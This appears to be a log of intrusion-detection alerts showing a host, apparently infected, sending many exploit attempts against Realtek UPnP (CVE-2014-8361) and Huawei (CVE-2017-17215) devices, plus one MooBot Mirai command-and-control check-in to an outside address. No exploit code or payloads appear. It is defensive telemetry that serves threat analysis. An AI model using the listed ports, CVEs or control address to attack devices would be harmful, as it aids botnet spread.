ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 47.206.114.161

Timestamp:	07/20/24-23:01:14.556764
SID:	2027339
Source Port:	52702
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.156.134.175

Timestamp:	07/20/24-23:01:32.282562
SID:	2835222
Source Port:	37198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 121.35.219.146

Timestamp:	07/20/24-23:01:04.763827
SID:	2025132
Source Port:	55270
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 60.11.100.175

Timestamp:	07/20/24-23:01:36.799485
SID:	2829579
Source Port:	39500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.4.9.142

Timestamp:	07/20/24-23:01:06.812618
SID:	2835222
Source Port:	54008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.250.242.225

Timestamp:	07/20/24-23:01:36.781139
SID:	2829579
Source Port:	47356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 141.36.128.134

Timestamp:	07/20/24-23:01:14.539078
SID:	2831300
Source Port:	45066
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 165.40.111.49

Timestamp:	07/20/24-23:01:14.547224
SID:	2831300
Source Port:	45678
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 167.143.161.58

Timestamp:	07/20/24-23:01:32.208939
SID:	2829579
Source Port:	58162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.170.167.134

Timestamp:	07/20/24-23:01:27.263646
SID:	2829579
Source Port:	36368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 70.194.220.73

Timestamp:	07/20/24-23:01:14.533681
SID:	2027339
Source Port:	37950
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 188.171.53.74

Timestamp:	07/20/24-23:01:27.354949
SID:	2027339
Source Port:	45772
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 57.30.119.39

Timestamp:	07/20/24-23:01:14.506916
SID:	2027339
Source Port:	43206
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 49.146.39.71

Timestamp:	07/20/24-23:01:06.571856
SID:	2025132
Source Port:	48708
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 218.237.12.255

Timestamp:	07/20/24-23:01:25.450878
SID:	2829579
Source Port:	41564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.36.237.89

Timestamp:	07/20/24-23:00:59.023270
SID:	2829579
Source Port:	45336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.45.233.5

Timestamp:	07/20/24-23:01:02.669609
SID:	2829579
Source Port:	45550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 118.95.117.249

Timestamp:	07/20/24-23:01:04.748993
SID:	2025132
Source Port:	51914
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 153.105.129.20

Timestamp:	07/20/24-23:01:06.557827
SID:	2025132
Source Port:	60952
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.229.89.250

Timestamp:	07/20/24-23:01:14.999580
SID:	2829579
Source Port:	52410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 183.32.240.14

Timestamp:	07/20/24-23:01:06.326396
SID:	2027339
Source Port:	48684
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 39.238.204.107

Timestamp:	07/20/24-23:01:04.157917
SID:	2027339
Source Port:	42138
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.249.112.126

Timestamp:	07/20/24-23:00:59.019939
SID:	2829579
Source Port:	40932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 19.96.215.60

Timestamp:	07/20/24-23:01:05.813514
SID:	2025132
Source Port:	33182
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 148.226.232.73

Timestamp:	07/20/24-23:01:06.800492
SID:	2835222
Source Port:	45468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.34.190.111

Timestamp:	07/20/24-23:01:08.455371
SID:	2829579
Source Port:	45914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.67.197.224

Timestamp:	07/20/24-23:01:04.908543
SID:	2835222
Source Port:	43176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.102.68.253

Timestamp:	07/20/24-23:01:15.071046
SID:	2829579
Source Port:	56858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 58.55.6.110

Timestamp:	07/20/24-23:01:04.153300
SID:	2027339
Source Port:	52134
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.48.188.69

Timestamp:	07/20/24-23:01:27.237697
SID:	2835222
Source Port:	40302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.221.111.207

Timestamp:	07/20/24-23:01:04.848080
SID:	2835222
Source Port:	39652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.97.211.251

Timestamp:	07/20/24-23:01:22.749655
SID:	2829579
Source Port:	38594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 23.108.81.73

Timestamp:	07/20/24-23:01:12.356579
SID:	2835222
Source Port:	52258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 207.190.228.219

Timestamp:	07/20/24-23:01:27.360753
SID:	2831300
Source Port:	35240
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 204.46.251.166

Timestamp:	07/20/24-23:01:03.943153
SID:	2027339
Source Port:	39056
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 106.194.122.151

Timestamp:	07/20/24-23:01:14.550730
SID:	2831300
Source Port:	48876
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 144.242.214.134

Timestamp:	07/20/24-23:01:14.503288
SID:	2831300
Source Port:	59548
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 35.166.41.236

Timestamp:	07/20/24-23:01:36.793382
SID:	2829579
Source Port:	38810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 86.82.54.225

Timestamp:	07/20/24-23:00:59.023270
SID:	2835222
Source Port:	37234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 123.230.10.211

Timestamp:	07/20/24-23:01:25.416964
SID:	2829579
Source Port:	34244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.9.140.35

Timestamp:	07/20/24-23:01:04.874131
SID:	2829579
Source Port:	49930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.10.247.163

Timestamp:	07/20/24-23:01:08.368788
SID:	2829579
Source Port:	48678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 76.239.185.4

Timestamp:	07/20/24-23:01:14.536390
SID:	2831300
Source Port:	39518
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 98.189.122.151

Timestamp:	07/20/24-23:01:14.513824
SID:	2027339
Source Port:	36180
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.243.124.222

Timestamp:	07/20/24-23:01:27.232388
SID:	2835222
Source Port:	57862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.231.12.12

Timestamp:	07/20/24-23:01:12.487419
SID:	2829579
Source Port:	44378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.27.225.240

Timestamp:	07/20/24-23:01:22.745836
SID:	2829579
Source Port:	44476
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 106.194.122.151

Timestamp:	07/20/24-23:01:14.550730
SID:	2027339
Source Port:	48876
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 52.188.85.89

Timestamp:	07/20/24-23:01:03.831831
SID:	2025132
Source Port:	59558
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 25.30.82.100

Timestamp:	07/20/24-23:01:06.801544
SID:	2835222
Source Port:	50934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.50.57.98

Timestamp:	07/20/24-23:01:15.001455
SID:	2835222
Source Port:	52334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 114.116.15.132

Timestamp:	07/20/24-23:00:59.020760
SID:	2829579
Source Port:	59660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 92.60.201.159

Timestamp:	07/20/24-23:01:07.306871
SID:	2027339
Source Port:	38864
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 115.0.94.194

Timestamp:	07/20/24-23:01:08.435254
SID:	2829579
Source Port:	46618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 112.136.148.134

Timestamp:	07/20/24-23:01:14.574230
SID:	2831300
Source Port:	44968
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.89.245.204

Timestamp:	07/20/24-23:01:36.862442
SID:	2829579
Source Port:	56826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.38.74.84

Timestamp:	07/20/24-23:01:47.062116
SID:	2829579
Source Port:	49872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 211.247.29.248

Timestamp:	07/20/24-23:01:14.533681
SID:	2027339
Source Port:	39518
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 13.145.132.17

Timestamp:	07/20/24-23:01:05.776003
SID:	2025132
Source Port:	58942
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 85.119.116.161

Timestamp:	07/20/24-23:01:07.469769
SID:	2025132
Source Port:	35408
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.252.240.160

Timestamp:	07/20/24-23:01:27.269293
SID:	2835222
Source Port:	55950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 157.40.9.209

Timestamp:	07/20/24-23:01:06.177278
SID:	2027339
Source Port:	44022
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.68.241.243

Timestamp:	07/20/24-23:01:08.455372
SID:	2829579
Source Port:	34354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 15.235.203.214

Timestamp:	07/20/24-23:01:36.884856
SID:	2030490
Source Port:	37338
Destination Port:	2466
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 52.188.85.89

Timestamp:	07/20/24-23:01:14.500914
SID:	2027339
Source Port:	33430
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 99.160.201.206

Timestamp:	07/20/24-23:01:06.348171
SID:	2025132
Source Port:	54546
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 179.27.16.177

Timestamp:	07/20/24-23:01:14.559539
SID:	2831300
Source Port:	41960
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 202.159.56.129

Timestamp:	07/20/24-23:01:14.501031
SID:	2831300
Source Port:	46988
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 52.188.85.89

Timestamp:	07/20/24-23:01:14.500914
SID:	2831300
Source Port:	33430
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.184.93.79

Timestamp:	07/20/24-23:01:02.669609
SID:	2829579
Source Port:	32890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 135.82.236.8

Timestamp:	07/20/24-23:01:07.590873
SID:	2025132
Source Port:	35724
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 47.14.186.72

Timestamp:	07/20/24-23:01:07.218094
SID:	2025132
Source Port:	38068
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.65.122.167

Timestamp:	07/20/24-23:01:12.485954
SID:	2835222
Source Port:	55354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 204.52.130.30

Timestamp:	07/20/24-23:01:05.588823
SID:	2027339
Source Port:	42224
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 77.190.202.82

Timestamp:	07/20/24-23:01:14.541501
SID:	2027339
Source Port:	41896
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 183.67.166.218

Timestamp:	07/20/24-23:01:04.858015
SID:	2835222
Source Port:	54214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 51.3.11.1

Timestamp:	07/20/24-23:01:08.455372
SID:	2829579
Source Port:	51024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.65.122.143

Timestamp:	07/20/24-23:01:06.812906
SID:	2829579
Source Port:	37212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.185.235.4

Timestamp:	07/20/24-23:00:59.020375
SID:	2835222
Source Port:	44478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 98.113.228.216

Timestamp:	07/20/24-23:01:21.670918
SID:	2027339
Source Port:	34304
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 43.126.159.21

Timestamp:	07/20/24-23:01:19.219285
SID:	2025132
Source Port:	33092
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.220.78.185

Timestamp:	07/20/24-23:00:59.020935
SID:	2829579
Source Port:	33556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.53.121.29

Timestamp:	07/20/24-23:01:36.785491
SID:	2829579
Source Port:	51126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.220.255.251

Timestamp:	07/20/24-23:01:22.740155
SID:	2835222
Source Port:	32846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 67.164.145.87

Timestamp:	07/20/24-23:00:59.020815
SID:	2835222
Source Port:	58342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 71.163.97.163

Timestamp:	07/20/24-23:01:07.504277
SID:	2025132
Source Port:	52006
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.221.199.154

Timestamp:	07/20/24-23:01:22.806676
SID:	2829579
Source Port:	58190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 218.117.198.70

Timestamp:	07/20/24-23:01:32.250505
SID:	2829579
Source Port:	43210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.2.117.43

Timestamp:	07/20/24-23:01:27.306441
SID:	2829579
Source Port:	46634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.20.81.160

Timestamp:	07/20/24-23:01:08.381149
SID:	2835222
Source Port:	34416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.254.240.168

Timestamp:	07/20/24-23:01:36.787101
SID:	2835222
Source Port:	44574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.173.191.191

Timestamp:	07/20/24-23:01:12.504870
SID:	2829579
Source Port:	47680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 34.213.231.189

Timestamp:	07/20/24-23:01:19.531622
SID:	2025132
Source Port:	47006
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.44.29.75

Timestamp:	07/20/24-23:01:17.798948
SID:	2829579
Source Port:	44254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 162.202.222.182

Timestamp:	07/20/24-23:01:14.536691
SID:	2027339
Source Port:	36314
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 139.189.20.44

Timestamp:	07/20/24-23:01:36.862442
SID:	2835222
Source Port:	37704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 85.126.249.142

Timestamp:	07/20/24-23:01:32.203847
SID:	2835222
Source Port:	44882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 170.23.175.88

Timestamp:	07/20/24-23:01:06.134141
SID:	2027339
Source Port:	42424
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 47.222.214.79

Timestamp:	07/20/24-23:01:14.551639
SID:	2831300
Source Port:	55390
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 139.174.115.167

Timestamp:	07/20/24-23:01:25.460589
SID:	2829579
Source Port:	37326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 115.130.21.220

Timestamp:	07/20/24-23:01:14.536803
SID:	2831300
Source Port:	44334
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

